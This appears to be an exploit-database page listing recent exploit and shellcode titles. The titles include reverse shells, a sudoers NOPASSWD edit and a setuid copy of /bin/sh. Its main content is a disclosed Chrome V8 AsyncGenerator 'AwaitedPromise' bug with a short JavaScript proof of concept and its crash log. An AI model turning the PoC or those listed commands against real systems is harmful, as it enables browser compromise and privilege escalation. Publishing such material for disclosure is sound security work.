2090553629
12 changes to exploits/shellcodes VMware Workstations 10.0.0.40273 - 'vmx86.sys' Arbitrary Kernel Read VMware Workstation 10.0.0.40273 - 'vmx86.sys' Arbitrary Kernel Read Microsoft (Win 10) Internet Explorer 11.371.16299.0 - Denial Of Service Microsoft Internet Explorer 11.371.16299.0 (Windows 10) - Denial Of Service VMware Workstation 12.5.2 - Drag n Drop Use-After-Free (Pwn2Own 2017) (PoC) Chrome V8 JIT - 'AwaitedPromise' Update Bug Chrome V8 JIT - Arrow Function Scope Fixing Bug Ultra MiniHTTPd 1.2 - 'GET' Remote Stack Buffer Overflow PoC Shopy Point of Sale v1.0 - CSV Injection Blog Master Pro v1.0 - CSV Injection HRSALE The Ultimate HRM v1.0.2 - CSV Injection HRSALE The Ultimate HRM v1.0.2 - 'award_id' SQL Injection HRSALE The Ultimate HRM 1.0.2 - Authenticated Cross-Site Scripting HRSALE The Ultimate HRM v1.0.2 - Local File Inclusion Linux/x86 - Bind TCP (1337/TCP) Shell + Null-Free Shellcode (92 bytes) Linux/x86 - Edit /etc/sudoers with NOPASSWD for ALL Shellcode Linux/x86 - Reverse TCP (5555/TCP) Shellcode - (73 Bytes) Linux/x86 - Bind TCP (1337/TCP) Shell (/bin/sh) + Null-Free Shellcode (92 bytes) Linux/x86 - Edit /etc/sudoers (ALL ALL=(ALL) NOPASSWD: ALL) For Full Access + Null-Free Shellcode (79 bytes) Linux/x86 - Reverse TCP (127.1.1.1:5555/TCP) Shell Shellcode (73 Bytes) Linux/x86 - cp /bin/sh /tmp/sh; chmod +s /tmp/sh Shellcode (74 bytes) Linux/x86 - execve /bin/sh Shellcode Encoded with ROT-13 + RShift-2 + XOR Encoded (44 bytes) Linux/x86 - execve(cp /bin/sh /tmp/sh; chmod +s /tmp/sh) + Null-Free Shellcode (74 bytes) Linux/x86 - execve(/bin/sh) + ROT-13 + RShift-2 + XOR Encoded Shellcode (44 bytes)
70 lines
No EOL
2.4 KiB
JavaScript
70 lines
No EOL
2.4 KiB
JavaScript
/*
|
|
Here's a snippet of AsyncGeneratorReturn. (https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-async-generator-gen.cc?rcl=bcd1365cf7fac0d7897c43b377c143aae2d22f92&l=650)
|
|
|
|
Node* const context = Parameter(Descriptor::kContext);
|
|
Node* const outer_promise = LoadPromiseFromAsyncGeneratorRequest(req);
|
|
Node* const promise =
|
|
Await(context, generator, value, outer_promise, AwaitContext::kLength,
|
|
init_closure_context, var_on_resolve.value(), var_on_reject.value(),
|
|
is_caught);
|
|
|
|
CSA_SLOW_ASSERT(this, IsGeneratorNotSuspendedForAwait(generator));
|
|
StoreObjectField(generator, JSAsyncGeneratorObject::kAwaitedPromiseOffset,
|
|
promise);
|
|
|
|
The Await methods calls ResolveNativePromise which calls InternalResolvePromise which can invoke user JavaScript code through a "then" getter. If the AwaitedPromise is replaced by the user script, the AwaitedPromise will be immediately overwritten after the call to Await, this may lead the generator to an incorrect state.
|
|
|
|
PoC:
|
|
*/
|
|
|
|
async function* asyncGenerator() {
|
|
}
|
|
|
|
let gen = asyncGenerator();
|
|
gen.return({
|
|
get then() {
|
|
delete this.then;
|
|
|
|
gen.next();
|
|
}
|
|
});
|
|
|
|
/*
|
|
Log in debug mode:
|
|
abort: CSA_ASSERT failed: IsNotUndefined(request) [../../src/builtins/builtins-async-generator-gen.cc:328]
|
|
|
|
|
|
==== JS stack trace =========================================
|
|
|
|
Security context: 0x2b29083a3a71 <JSObject>#0#
|
|
2: /* anonymous */(this=0x19b7b0603721 <JSGlobal Object>#1#,0x19b7b060d139 <Object map = 0x189055388c91>#2#)
|
|
|
|
==== Details ================================================
|
|
|
|
[2]: /* anonymous */(this=0x19b7b0603721 <JSGlobal Object>#1#,0x19b7b060d139 <Object map = 0x189055388c91>#2#) {
|
|
// optimized frame
|
|
--------- s o u r c e c o d e ---------
|
|
<No Source>
|
|
-----------------------------------------
|
|
}
|
|
==== Key ============================================
|
|
|
|
#0# 0x2b29083a3a71: 0x2b29083a3a71 <JSObject>
|
|
#1# 0x19b7b0603721: 0x19b7b0603721 <JSGlobal Object>
|
|
#2# 0x19b7b060d139: 0x19b7b060d139 <Object map = 0x189055388c91>
|
|
=====================
|
|
|
|
Received signal 4 ILL_ILLOPN 7fb143ae2781
|
|
|
|
==== C stack trace ===============================
|
|
|
|
[0x7fb143ae643e]
|
|
[0x7fb143ae6395]
|
|
[0x7fb1436ce390]
|
|
[0x7fb143ae2781]
|
|
[0x7fb1430f23ae]
|
|
[0x7fb1430f1ef7]
|
|
[0x1c8e08204384]
|
|
[end of stack trace]
|
|
Illegal instruction
|
|
*/ |